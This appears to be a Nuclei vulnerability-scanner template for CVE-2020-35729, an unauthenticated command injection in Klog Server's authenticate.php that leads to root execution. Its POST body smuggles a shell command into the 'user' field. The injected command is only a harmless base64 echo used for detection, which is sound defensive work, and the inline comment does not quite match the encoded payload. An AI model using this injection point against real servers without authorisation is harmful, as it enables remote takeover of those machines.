2021-02-26 11:40:25 +00:00
|
|
|
id: CVE-2020-35729
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Klog Server Unauthenticated Command Injection
|
|
|
|
author: dwisiswant0
|
|
|
|
severity: critical
|
|
|
|
reference: https://docs.unsafe-inline.com/0day/klog-server-unauthentication-command-injection
|
|
|
|
description: |
|
|
|
|
This template exploits an unauthenticated command injection vulnerability
|
|
|
|
in Klog Server versions 2.4.1 and prior.
|
|
|
|
|
|
|
|
The `authenticate.php` file uses the `user` HTTP POST parameter in a call
|
|
|
|
to the `shell_exec()` PHP function without appropriate input validation,
|
|
|
|
allowing arbitrary command execution as the apache user.
|
|
|
|
|
|
|
|
The sudo configuration permits the apache user to execute any command
|
|
|
|
as root without providing a password, resulting in privileged command
|
|
|
|
execution as root.
|
|
|
|
|
|
|
|
Originated from Metasploit module, copyright (c) space-r7.
|
2021-02-26 11:43:32 +00:00
|
|
|
tags: cve,cve2020,klog,rce
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
|
|
cvss-score: 9.80
|
|
|
|
cve-id: CVE-2020-35729
|
|
|
|
cwe-id: CWE-78
|
2021-02-26 11:40:25 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: POST
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/actions/authenticate.php"
|
2021-02-27 12:38:20 +00:00
|
|
|
body: 'user=pdnuclei%20%26%20echo%20%cG9jLXRlc3Rpbmc%3D%22%20%7C%20base64%20-d%20%26%20echo%22&pswd=pdnuclei' # Payload: & echo "cHJvamVjdGRpc2NvdmVyeS5pbw==" | base64 -d & echo"
|
2021-02-26 11:40:25 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
words:
|
2021-02-27 12:38:20 +00:00
|
|
|
- "poc-testing" # from Base64 decoding payload
|